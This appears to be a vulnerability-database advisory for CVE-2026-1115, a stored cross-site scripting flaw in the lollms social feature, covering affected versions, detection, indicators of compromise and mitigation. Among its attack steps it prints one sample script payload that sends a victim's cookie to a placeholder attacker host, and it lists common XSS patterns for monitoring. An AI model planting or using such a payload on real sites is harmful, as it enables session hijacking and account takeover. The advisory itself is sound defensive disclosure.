Skip to main content
CVE Vulnerability Database

CVE-2026-1115: Lollms Stored XSS Vulnerability

CVE-2026-1115 is a stored XSS flaw in Lollms social feature that allows attackers to inject malicious scripts into posts. This post covers technical details, affected versions, impact including session hijacking, and mitigation.

Published:

CVE-2026-1115 Overview

A Stored Cross-Site Scripting (XSS) vulnerability was identified in the social feature of parisneo/lollms, affecting versions prior to 2.2.0. The vulnerability exists in the create_post function within backend/routers/social/__init__.py, where user-provided content is directly assigned to the DBPost model without sanitization. This allows attackers to inject and store malicious JavaScript, which is executed in the browsers of users viewing the Home Feed, including administrators. This can lead to account takeover, session hijacking, and wormable attacks.

Critical Impact

This stored XSS vulnerability enables attackers to execute arbitrary JavaScript in the context of authenticated users, including administrators, potentially leading to complete account takeover, session hijacking, and self-propagating worm attacks across the platform.

Affected Products

  • lollms versions prior to 2.2.0

Discovery Timeline

  • 2026-04-10 - CVE CVE-2026-1115 published to NVD
  • 2026-04-16 - Last updated in NVD database

Technical Details for CVE-2026-1115

Vulnerability Analysis

This vulnerability represents a classic Stored Cross-Site Scripting (XSS) flaw classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root issue lies in the application's failure to sanitize user-supplied content before storing it in the database and subsequently rendering it in other users' browsers.

When a malicious actor crafts a post containing JavaScript payloads, the create_post function accepts this content and persists it directly to the DBPost model without any input validation or output encoding. When other users, including administrators, view the Home Feed, the malicious script executes within their browser session with full access to their authentication context.

The wormable nature of this vulnerability is particularly concerning—an attacker could craft a payload that automatically creates new malicious posts from each victim's account, rapidly spreading across the platform.

Root Cause

The root cause is the lack of input sanitization in the create_post function located in backend/routers/social/__init__.py. User-provided content is directly assigned to the DBPost model without any filtering, encoding, or validation to prevent the injection of executable scripts. This violates secure coding principles that mandate treating all user input as untrusted and implementing proper output encoding before rendering content in HTML contexts.

Attack Vector

The attack is network-accessible, requiring no prior authentication (PR:N) but requiring user interaction (UI:R) for exploitation. An attacker would:

  1. Create an account on the lollms platform or use any mechanism to submit a post
  2. Craft a malicious post containing JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>)
  3. Submit the post through the social feature
  4. Wait for victims to view the Home Feed, where the stored payload executes automatically

The vulnerability allows cross-origin impact (Scope: Changed), meaning the attacker can affect resources beyond the vulnerable component, including stealing session tokens, performing actions on behalf of users, or redirecting users to malicious sites.

Detection Methods for CVE-2026-1115

Indicators of Compromise

  • Unusual posts in the Home Feed containing <script> tags or other HTML injection patterns
  • Database entries in the posts table containing encoded or obfuscated JavaScript
  • Unexpected external network connections from user browsers when viewing the feed
  • Reports of session hijacking or unauthorized account access following feed viewing

Detection Strategies

  • Implement Content Security Policy (CSP) headers to detect and block inline script execution
  • Monitor web application firewall (WAF) logs for XSS patterns in POST requests to the social feature endpoints
  • Review database content for stored HTML/JavaScript injection patterns using automated scanning
  • Deploy browser-based XSS detection tools to identify script injection attempts in real-time

Monitoring Recommendations

  • Enable logging for all requests to /social/ endpoints and analyze for suspicious payloads
  • Set up alerts for posts containing common XSS patterns such as <script>, javascript:, onerror=, and similar vectors
  • Monitor for unusual authentication events that may indicate session hijacking following XSS exploitation
  • Track outbound connections from the application to unexpected external domains

How to Mitigate CVE-2026-1115

Immediate Actions Required

  • Upgrade lollms to version 2.2.0 or later immediately
  • Review existing posts in the database for malicious JavaScript content
  • Invalidate all active sessions to prevent ongoing exploitation through stolen session tokens
  • Implement Web Application Firewall (WAF) rules to block XSS payloads while preparing for upgrade

Patch Information

The vulnerability has been resolved in lollms version 2.2.0. The fix is available in commit 9767b882dbc893c388a286856beeaead69b8292a. Organizations should upgrade to this version or later to remediate the vulnerability.

For technical details, refer to the GitHub Commit and the Huntr Security Bounty Report.

Workarounds

  • Disable the social feature entirely until patching is possible by blocking access to the /social/ routes
  • Implement a reverse proxy or WAF rule to sanitize input before it reaches the application
  • Deploy Content Security Policy headers to mitigate the impact of any stored XSS payloads
  • Manually sanitize existing database entries containing the posts to remove any malicious content

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.